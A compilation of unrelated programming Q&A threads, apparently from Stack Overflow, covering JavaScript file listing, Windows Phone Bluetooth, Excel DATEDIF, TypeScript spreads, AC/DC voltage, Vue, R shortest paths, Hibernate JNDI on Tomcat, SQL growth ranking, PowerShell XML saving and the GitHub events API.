Q: How can i display names and data of csv files using javascript on a webpage which are present in my project folder(files to be fetched from server) I have multiple files in a project folder which are csv files. I want to fetch all the files names from the folder and trying to display on webpage each csv file under its name. This is the code I am trying to use but its displaying the only file which I am giving the full path. Please help me to get all the files and display their data in webpage.

Choose file and display its Name

<button onclick="showNames()">
    Click Me To Get Student Details
</button>


text:
Q: Sending data via Bluetooth using StreamSocket I wanted to transmit an array over Bluetooth using Windows Phone 8, so I referred to the following intro guide on MSDN: http://msdn.microsoft.com/en-us/library/windows/apps/jj207007(v=vs.105).aspx
Pairing/Connecting was pretty straightforward and when I deployed the app to my Lumia 620 I was able to see my paired HTC Desire using the sample code in the above. So next I tried sending a basic 5-byte array using the following code:
async void BLEfunc()
    {
        PeerFinder.AlternateIdentities["Bluetooth:Paired"] = "";
        var peers = await PeerFinder.FindAllPeersAsync();

        if (peers.Count == 0)
        {
            Details.Text = "No Device Found";
        }
        else
        {
            PeerInformation selectedPeers = peers[0];
            StreamSocket socket = new StreamSocket();
            await socket.ConnectAsync(selectedPeers.HostName, "1");
            Details.Text = "Connected to device: " + selectedPeers.DisplayName;  //Details is a TextBlock on screen

            using (var dataWriter = new DataWriter(socket.OutputStream))
            {
                //byte[] DataArray = { 1, 2, 3, 4, 5 };
                dataWriter.WriteByte(1);
                var result = await dataWriter.StoreAsync();
                dataWriter.DetachStream();
            }
            Details.Text = "Data sent!";
        }
    }

The problem is that the program runs into an unhandled exception when it enters the using code block in the above pasted code. Everything up to that point runs fine. I got the idea for the above code from here: Sending files via bluetooth from winRT to android / WP devices
Any ideas?


text:
Q: Calculating current month range using Datedif I'm currently using the below formula to find which month I'm in out of the designated range - 1 of 13.
=DATEDIF(DATE(2019,1,1),$A$1,"M")+1&" of 13"

$A$1 is referencing a specific date of 12/1/18. Excel is throwing a #NUM error because I'm guessing the new date of 1/1/2019 is in a different year? I'm not sure how to correct this? It will work fine once I update the specific date to January 2019, but I need it to show 0 of 13 until then.
Help???

A: The DATEDIF function operates with the following parameters
=DATEDIF (start_date, end_date, unit)

The end_date needs to be greater than or equal to the start_date. You can ensure this by using MAX and MIN.
=DATEDIF(MIN(DATE(2019,1,1),$A$1),MAX(MIN(DATE(2019,1,1),$A$1)),"M")+1&" of 13"

A: Try
=IFERROR(DATEDIF(DATE(2019,1,1),$A$1,"M")+1,0)&" of 13"


text:
Q: (TS) Spread types may only be created from object types I have been implementing Aurelia-DragNDrop. However, its written in Javascript as are the docs and examples and I am working in Typescript.
In the course of implementing the examples I have come across the above error. I therefore researched the spread operator on SO and found this.
It recommended using "...(xxx as object)" however my variable is already typed as an array from what I can gather. Other answers were not clear or React orientated - I even tried the Typescript playground with no success.
The code:
@computedFrom('items', 'intention')
get patchedItems() {
    const { items, intention } = this;
    if (!intention) return items;

    let patched = _.reject(items, { id: intention.id });
    const item = _.find(this.items, { id: intention.id });

    if (item) {
        // always show current moving item on top
        patched.push({ ...item, x: intention.x, y: intention.y });
    }

    return patched;
}

Items have been declared at the top of the class as:
@bindable items = [
    { id: 'a', name: 'A', x: 20, y: 20 },
    { id: 'b', name: 'B', x: 50, y: 200 },
    { id: 'c', name: 'C', x: 200, y: 100 }
];

There was also chatter about the fact that this was going to be addressed in 3 etc.. I am on Typescript 3.4.
Here is a picture of the error:

How can I write this so the compiler doesnt complain?

A: I think the problem isn't the spread operator but that you're using underscore's method wrong, therefore getting something unexpected. For reject, you have to pass a function not an object, like this:
const patched = _.reject(items, (i) => i.id === intention.id)

Then the same for find or you can use findWhere instead:
const item = _.find(this.items, (i) => i.id === intention.id)
// or
const item = _.findWhere(items, { id: itention.id })


text:
Q: How to perform ac to dc voltage conversion and vice versa? In india household voltage is 230Vac ,50Hz. Suppose i have a SMPS that coverts 230vac into 5Vdc.
Here, I want to know what is dc voltage equivalent of 230Vac and what is ac voltage equivalent value of 5Vdc? Is there any formula to perform this above calculations?
So can anybody tell whether below mathematical calcultions are right or wrong
As per my knowledge
Vdc= Vaverage  ---(eq1)
now,
Vaverage= 0.693 *Vpeak---(eq2)
and
Vac=Vrms   --(eq3)
Vac= 0.707* Vpeak---(eq4)
so from equations 1,2,3& 4
Vac= (0.707/0.693) * Vdc i.e. 1.1*Vdc is it right??
So, as per above relation
230Vac equivalent to (230/1.1) i.e. 210Vdc
and 5Vdc equivalent to (5*1.1) i.e. 5.5 Vac

A: In terms of heating value including in incandescent lights, 110Vac is equal to 110Vdc. In terms of operating a universal motor, the dc voltage should probably be a little lower, but there is no exact conversion. However the standard USA household voltage is 120Vac, 60Hz  with 240Vac, 60Hz also supplied but normally only connected to cooking stove (range) and laundering outlets and directly to water heaters and central air conditioners.
Where DC is used, AC power is rectified inside appliances or chargers. Virtually no DC power is distributed by utilities.
The above does not answer the question as edited, but regardless of the voltage, RMS AC voltage is equal to the same value DC voltage in terms of heating value. There is no other direct relationship.
Full-wave rectified single-phase AC voltage, if unfiltered, is equivalent to AC voltage less the voltage drop of the diodes for heating and incandescent light purposes and probably also for universal motors. At the 120 and 240 volt levels the diode drop is less than the normal voltage fluctuation of the best utility supplies. Rectified AC voltage that is well filtered is equivalent to the peak of the AC voltage waveform, 1.414 X the RMS value.


text:
Q: VueJS 3 update component's text related to a global property How can I update the contents of all components that fetch text strings to an object set as a global variable when the latter is updated?
That's my code:

File: main.js

app.config.globalProperties.$language = languages.getLanguage("en-US")

File: button.vue

<template>
  <button @click="change">{{ $language.continue }}</button>
</template>

<script>
    import languages from './languages'

    export default {
        methods: {
            change: function () {
                this.$language = languages.getLanguage("it-IT")
            }
        }
    }
</script>

When I press the button, the language changes but the text remains unchanged


text:
Q: How to calculate the shortest path using R when points do not fall in the path? I have two point shapefiles, one for investigated points (red points) and one for the point of the town center (pink triangles), and one line shapefiles denoting the roads.
Investigated points, town center and roads

I want to calculate the length of shortest path from the investigated points to the town center based on the road map. However, as you might see the points are not exactly fall in the roads. I tried to seek the solution using igraph but it might not match the data I have. I am new to R, would you please kindly let me know if there is any packages or solutions that I can use for such data.


text:
Q: Hibernate SessionFactory: how to configure JNDI in Tomcat? that's how the session factory should be gotten:

    protected SessionFactory getSessionFactory() {
        try {
            return (SessionFactory) new InitialContext()
                    .lookup("SessionFactory");
        } catch (Exception e) {
        }
    }

Please provide a simple solution for Tomcat6 to be able to get SessionFactory
thru simple jndi lookup in Java code.
What should be written in what file on the side of Tomcat ?

A: Here's a link
http://community.jboss.org/wiki/UsingJNDI-boundSessionFactorywithTomcat41
But other answers are welcome as well.

A: Tomcat documentation says:

Tomcat provides a read-only InitialContext, while Hibernate requires
  read-write in order to manage multiple session factories. Tomcat is
  apparently following the specification for unmanaged containers. If
  you want to bind the session factory to a JNDI object, you'll either
  have to move to a managed server (Glassfish, JBoss, etc.), or search
  on the Internet for some posted work-arounds.
The recommendation from the Hibernate documentation is to just leave
  out the hibernate.session_factory_name property when working with
  Tomcat to not try binding to JNDI.

And Hibernate documentation says the same:

It is very useful to bind your SessionFactory to JDNI namespace. In
  most cases, this is possible to use hibernate.session_factory_name
  property in your configuration. But, with Tomcat you cann't use
  hibernate.session_factory_name property, because Tomcat provide
  read-only JNDI implementation. To use JNDI-bound SessionFactory with
  Tomcat, you should write custom resource factory class for
  SessionFactory and setup it Tomcat's configuration.

So you need to make custom SessionFactory like that:
package myutil.hibernate;

import java.util.Hashtable;
import java.util.Enumeration;
import javax.naming.Name;
import javax.naming.Context;
import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.RefAddr;
import javax.naming.spi.ObjectFactory
import org.hibernate.SessionFactory;
import org.hibernate.cfg.Configuration;

public class HibernateSessionFactoryTomcatFactory implements ObjectFactory{
   public Object getObjectInstance(Object obj, Name name, Context cntx, Hashtable env)
                 throws NamingException{

      SessionFactory sessionFactory = null;
      RefAddr addr = null;

      try{
         Enumeration addrs = ((Reference)(obj)).getAll();

         while(addrs.hasMoreElements()){
            addr = (RefAddr) addrs.nextElement();
            if("configuration".equals((String)(addr.getType()))){
               sessionFactory = (new Configuration())
                    .configure((String)addr.getContent()).buildSessionFactory();
            }
         }
      }catch(Exception ex){
         throw new javax.naming.NamingException(ex.getMessage());
      }

      return sessionFactory;
   }
}


text:
Q: SQL Selecting records sorted by growth over time I have a simple table that contains a daily summary of the sales volumes of a couple hundred thousand products. One row for each product and date, with whatever quantity was sold that day. Table format is:
CREATE TABLE DAILYSALES (ID numeric IDENTITY PRIMARY KEY, ProductID numeric NOT NULL, XDate Date NOT NULL, QTY_SOLD int NOT NULL)
A record will only be in the table if there were sales that day, so there are no records where QTY_SOLD is zero.
I need to figure out a way to query this data within a date range, say, the last 30 days, but sorted by a growth trend (products that showed the most growth over the period would be on top).
The difference in quantities sold is off the charts... some products sell 1,000+ units per day consistently, while others sell 1 or 2 or zero on an average day and just have a couple of spikes here and there.
In an ideal result set, a product that sold 10 units a day on the first of the month, and grew by one unit a day to 40 units per day at the end of the month would rank higher than a product that sold 1,000 units a day on average and grew to 2,000 by the end of the month (a 4X growth level vs 2X).
The trouble I keep running into is that products with little to no sales but a couple of big spikes near the end always end up on top. A product that goes from 1 sale at the start of the month, nothing all month, and then 20 sales on the last day would show up first with the above model -- that shouldn't outrank a product with steadier sales.
I'm not sure what the best way to write this query would be. I imagine some kind of subquery that factors in the number of records (ie; number of days with data) that exist in the result set should be a factor, but I'm not sure where to begin. Would appreciate any suggestions, in particular from those who work with large data sets and have had to do something similar.

A: I would suggest to try some linear regression for this task. First identify the slope per article, then sort by slope descending. This way you should be able to identify the artricle qith the best growth. In the following example I have one article without sales, one with a constant size and one which starts at 0 and then growth in the following month:
DECLARE @t TABLE(
ArticleId int,
SoldDate date,
SoldQty int
)

;WITH cteDat AS(
  SELECT CAST('2020-01-01' AS DATE) AS Dat
  UNION ALL
  SELECT DATEADD(d, 1, Dat)
    FROM cteDat
    WHERE Dat < '2020-12-31'
)
INSERT INTO @t
SELECT 123 AS ArticleId, Dat AS SoldDate, 0 AS SoldQty
  FROM cteDat
UNION ALL
SELECT 456 AS ArticleId, Dat AS SoldDate, 100 AS SoldQty
  FROM cteDat
UNION ALL
SELECT 789 AS ArticleId, Dat AS SoldDate, 0 AS SoldQty
  FROM cteDat
OPTION (MAXRECURSION 0)

UPDATE @t
  SET SoldQty = 50
  WHERE ArticleId = 789
    AND MONTH(SoldDate) > 7

;WITH cteRaw AS(
SELECT CAST(ArticleId AS FLOAT) AS ArticleId, CAST(CONVERT(NVARCHAR(8), SoldDate, 112) AS FLOAT) DatSID, CAST(SoldQty AS FLOAT) AS SoldQty
  FROM @t
),
cteLinRegBase AS(
SELECT ArticleId
      ,COUNT(*) AS SampleSize
      ,SUM(DatSID) AS SumX
      ,SUM(SoldQty) AS SumY
      ,SUM(DatSID*DatSID) AS SumXX
      ,SUM(SoldQty*SoldQty) AS SumYY
      ,SUM(DatSID*SoldQty) AS SumXY
  FROM cteRaw
  GROUP BY ArticleId
)
SELECT ArticleId, CASE
                          WHEN SampleSize = 1 THEN 0 -- avoid divide by zero error
                          ELSE ( SampleSize * sumXY - sumX * sumY ) / ( SampleSize * sumXX - Power(sumX, 2) )
                        END
  FROM cteLinRegBase

However, instead of calculating with the date as number, you could also add a rownumber or whatever to represent the X axis.


text:
Q: Saving XML via PowerShell always inserts a comment with inconsistent line endings The project I am working on has multiple web.<env>.config files. I found that the variables in an element like <aspNetCore processPath="%LAUNCHER_PATH%" arguments="%LAUNCHER_ARGS%" /> are replaced only in the main web.config file but they need to be updated in all .config files. My solution to this problem was to write a PowerShell script that takes the value of %LAUNCHER_PATH% and %LAUNCHER_ARGS% after the project has been built and update the other .config files.
The script I wrote works as intended but when I open the updated file in Visual Studios after I've updated it and the application complains that the file has inconsistent line endings when no such warning is presented prior to running the script. I have confirmed in Notepad++ that there are certain lines that only contain a LF and not CR LF and they relate to this comment that keeps getting inserted into my file.
  <!--
    Configure your application settings in appsettings.json. Learn more at http://go.microsoft.com/fwlink/?LinkId=786380
  -->

I have found that no matter what I do, this comment keeps getting inserted into my file; even if I only load and immediately save the file.
Script
# Updates web.{env}.config files with the correct processPath and arguments
# that are populated in web.config during the publish process

$folder = "."
$nodeXpath = "configuration/system.webServer/aspNetCore"

if (Test-Path "$folder\web.config")
{
    $originalNode = Select-Xml -Path "$folder\web.config" -XPath $nodeXpath | Select-Object -ExpandProperty Node
    $processPath = Select-Xml -XPath "@processPath" -Xml $originalNode
    $arguments = Select-Xml -XPath "@arguments" -Xml $originalNode

    Get-ChildItem $folder -Filter web.*.config |
    Foreach-Object {
        # Using .NET XmlDocument
        $xml = New-Object System.Xml.XmlDocument
        $xml.PreserveWhitespace = $true
        $xml.Load($_)
        #$node = Select-Xml -Xml $xml -XPath $nodeXpath | Select-Object -ExpandProperty Node
        #$node.SetAttribute("processPath", $processPath)
        #$node.SetAttribute("arguments", $arguments)
        $xml.Save((Resolve-Path $_))
    }
}

XML Being Read and Saved Into
<?xml version="1.0" encoding="utf-8"?>
<configuration>
  <system.webServer>
    <handlers>
      <add name="aspNetCore" path="*" verb="*" modules="AspNetCoreModule" resourceType="Unspecified"/>
    </handlers>
    <aspNetCore processPath="%LAUNCHER_PATH%" arguments="%LAUNCHER_ARGS%" stdoutLogEnabled="false" stdoutLogFile=".\logs\stdout" forwardWindowsAuthToken="false"/>
    <security>
      <authorization>
        <remove users="*" roles="" verbs="" />
        <add accessType="Allow" users="blah" />
        <add accessType="Allow" roles="blahblah" />
        <add accessType="Allow" roles="blahblahblah" />
      </authorization>
      <authentication>
        <windowsAuthentication enabled="true" />
        <anonymousAuthentication enabled="false" />
      </authentication>
    </security>
  </system.webServer>
</configuration>

The comment will be inserted right above <system.webServer>.
Is there a way to force the save action to not insert the comment? If that is not possible, is there a way to correct the comment such that it does not have inconsistent line endings compared to the rest of the file?

A: Seems like you should instead handle the part you do have control over, which is writing the file itself, to ensure that its line-breaks match what Visual Studio is adding. It seems like the comment is being added with LF only while the rest of your file is using CRLF.
You can control the output by creating your own XmlWriter with its own settings:
$folder = "."
$nodeXpath = "configuration/system.webServer/aspNetCore"

if (Test-Path "$folder\web.config")
{
    $originalNode = Select-Xml -Path "$folder\web.config" -XPath $nodeXpath | Select-Object -ExpandProperty Node
    $processPath = Select-Xml -XPath "@processPath" -Xml $originalNode
    $arguments = Select-Xml -XPath "@arguments" -Xml $originalNode

    $settings = [System.Xml.XmlWriterSettings]::new()
    $settings.NewLineChars = "`n"

    Get-ChildItem $folder -Filter web.*.config |
    Foreach-Object {
        # Using .NET XmlDocument
        $xml = New-Object System.Xml.XmlDocument
        $xml.PreserveWhitespace = $true
        $xml.Load($_)
        #$node = Select-Xml -Xml $xml -XPath $nodeXpath | Select-Object -ExpandProperty Node
        #$node.SetAttribute("processPath", $processPath)
        #$node.SetAttribute("arguments", $arguments)

        $writer = [System.Xml.XmlWriter]::Create((Resolve-Path $_), $settings)
        try {
            $xml.Save($writer)
        } finally {
            $writer.Close()
        }
    }
}


text:
Q: Getting overall commits Github API I'm building a panel to show users there github statistics as well as some other data all on one page.
I'm looking at trying to fetch a count of a users commits not specific to any repository but an overall count. All the methods I've found on the API seem to only return counts to a specific repository.
Has anyone manged to obtain this data?

A: I think what you are looking for is something like this:
https://api.github.com/users/{username}/events

So if the username you are interested in obtaining information for is Paradigm, your request would be:
https://api.github.com/users/paradigm/events

The JSON object that is returned has a type. The type you are interested in has a value of "PushEvent".
To obtain, all of their commits, you must know their Api limits to 100 results per request(and has some other limits, such as 60 unauthenticated requests per hour). So depending on how programmatically you are doing this, you would want to make your requests as follows:
https://api.github.com/users/paradigm/events?page=1&per_page=100
https://api.github.com/users/paradigm/events?page=2&per_page=100
etc...